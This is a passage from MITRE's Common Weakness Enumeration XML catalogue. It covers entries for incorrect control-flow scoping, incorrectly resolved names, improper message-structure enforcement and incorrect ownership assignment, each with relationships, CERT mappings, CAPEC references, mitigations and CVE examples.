					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="C++"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not cast away a const qualification</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that return values are compared against the proper
						type</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Cast characters to unsigned types before converting to larger
						integer sizes</Mapped_Node_Name>
					          <Mapped_Node_ID>STR34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Arguments to character handling functions must be
						representable as an unsigned char</Mapped_Node_Name>
					          <Mapped_Node_ID>STR37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Cast characters to unsigned types before converting to larger
						integer sizes</Mapped_Node_Name>
					          <Mapped_Node_ID>STR34-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Arguments to character handling functions must be
						representable as an unsigned char</Mapped_Node_Name>
					          <Mapped_Node_ID>STR37-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that return values are compared against the proper
						type</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="705" Name="Incorrect Control Flow Scoping" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly return control flow to the
					proper location after it has completed a task or detected an unusual
					condition.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>854</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 09 - Thread APIs (THI)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>All atexit handlers must return normally</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Choose an appropriate termination strategy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR04-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use Thread.stop() to terminate
						threads</Mapped_Node_Name>
					          <Mapped_Node_ID>THI05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not complete abruptly from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not let checked exceptions escape from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>All atexit handlers must return normally</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Choose an appropriate termination strategy</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR04-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="706" Name="Use of Incorrectly-Resolved Name or Reference" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a name or reference to access a resource, but
					the name/reference resolves to a resource that is outside of the intended
					control sphere.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>99</Relationship_Target_ID>
					          <!--Improper Control of Resource Identifiers ('Resource Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>38</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>471</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>48</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="707" Name="Improper Enforcement of Message or Data Structure" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not enforce or incorrectly enforces that
					structured messages or data are well-formed before being read from an upstream
					component or sent to a downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>If a message is malformed it may cause the message to be incorrectly
						interpreted.</Text>
					          <Text>This weakness typically applies in cases where the product prepares a
						control message that another process must act on, such as a command or
						query, and malicious input that was intended as data, can enter the control
						plane instead. However, this weakness also applies to more general cases
						where there are not always control implications.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>33</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>34</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>468</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>84</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Enforce that
						Messages or Data are Well-Formed</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="708" Name="Incorrect Ownership Assignment" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software assigns an owner to a resource, but the owner is
					outside of the intended control sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>This may allow the resource to be manipulated by actors outside of the
						intended control sphere.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>282</Relationship_Target_ID>
					          <!--Improper Ownership Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This overlaps verification errors, permissions, and privileges.</Text>
					          <Text>A closely related weakness is the incorrect assignment of groups to a
						resource. It is not clear whether it would fall under this entry or require
						a different entry.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could read and modify data for which they do not have
							permissions to access directly.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Policy</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Periodically review the privileges and their owners.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated tools to check for privilege settings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5101</Observed_Example_Reference>
					          <Observed_Example_Description>File system sets wrong ownership and group when
						creating a new file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4238</Observed_Example_Reference>
					          <Observed_Example_Description>OS installs program with bin owner/group, allowing
						modification.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1716</Observed_Example_Reference>
					          <Observed_Example_Description>Manager does not properly restore ownership of a
						reusable resource when a user logs out, allowing privilege
						escalation.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3148</Observed_Example_Reference>
					          <Observed_Example_Description>Backup software restores symbolic links with
						incorrect uid/gid.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1064</Observed_Example_Reference>
					          <Observed_Example_Description>Product changes the ownership of files that a
						symlink points to, instead of the symlink
						itself.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1551</Observed_Example_Reference>
					          <Observed_Example_Description>Component assigns ownership of sensitive directory
						tree to a user account, which can be leveraged to perform privileged
						operations.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
